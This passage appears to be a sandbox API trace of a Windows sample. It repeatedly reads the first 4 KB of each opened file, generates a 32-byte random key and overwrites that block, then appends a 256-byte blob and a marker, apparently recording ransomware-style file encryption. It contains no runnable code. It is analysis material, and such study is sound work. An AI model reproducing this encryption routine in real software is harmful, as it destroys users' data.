0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.602] GetProcessHeap () returned 0x540000 [0085.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.603] GetProcessHeap () returned 0x540000 [0085.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.604] GetProcessHeap () returned 0x540000 [0085.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.605] GetProcessHeap () returned 0x540000 [0085.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.605] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.605] WriteFile (in: hFile=0x8d0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0xff, lpOverlapped=0x0) returned 1 [0085.605] WriteFile (in: hFile=0x8d0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.605] GetProcessHeap () returned 0x540000 [0085.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.605] GetProcessHeap () returned 0x540000 [0085.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.605] GetProcessHeap () returned 0x540000 [0085.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.605] CloseHandle (hObject=0x8d0) returned 1 [0085.606] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 86 [0085.606] SetFilePointerEx (in: hFile=0x8d4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.606] ReadFile (in: hFile=0x8d4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.606] SetFilePointerEx (in: hFile=0x8d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.606] GetProcessHeap () returned 0x540000 [0085.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.606] GetProcessHeap () returned 0x540000 [0085.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.607] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.607] GetProcessHeap () returned 0x540000 [0085.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.607] ReadFile (in: hFile=0x8d4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.654] SetFilePointerEx (in: hFile=0x8d4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.654] WriteFile (in: hFile=0x8d4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.664] GetProcessHeap () returned 0x540000 [0085.664] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.665] GetProcessHeap () returned 0x540000 [0085.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.665] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.666] GetProcessHeap () returned 0x540000 [0085.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.667] GetProcessHeap () returned 0x540000 [0085.667] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.668] GetProcessHeap () returned 0x540000 [0085.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.668] SetFilePointerEx (in: hFile=0x8d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.668] WriteFile (in: hFile=0x8d4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.669] WriteFile (in: hFile=0x8d4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.669] GetProcessHeap () returned 0x540000 [0085.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.669] GetProcessHeap () returned 0x540000 [0085.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.669] GetProcessHeap () returned 0x540000 [0085.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.669] CloseHandle (hObject=0x8d4) returned 1 [0085.669] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 87 [0085.669] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.669] ReadFile (in: hFile=0x8d8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.669] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.669] GetProcessHeap () returned 0x540000 [0085.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.669] GetProcessHeap () returned 0x540000 [0085.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.669] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.669] GetProcessHeap () returned 0x540000 [0085.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.669] ReadFile (in: hFile=0x8d8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.733] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.733] WriteFile (in: hFile=0x8d8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.733] GetProcessHeap () returned 0x540000 [0085.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.733] GetProcessHeap () returned 0x540000 [0085.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.733] GetProcessHeap () returned 0x540000 [0085.733] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.733] GetProcessHeap () returned 0x540000 [0085.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.733] GetProcessHeap () returned 0x540000 [0085.733] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.733] GetProcessHeap () returned 0x540000 [0085.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 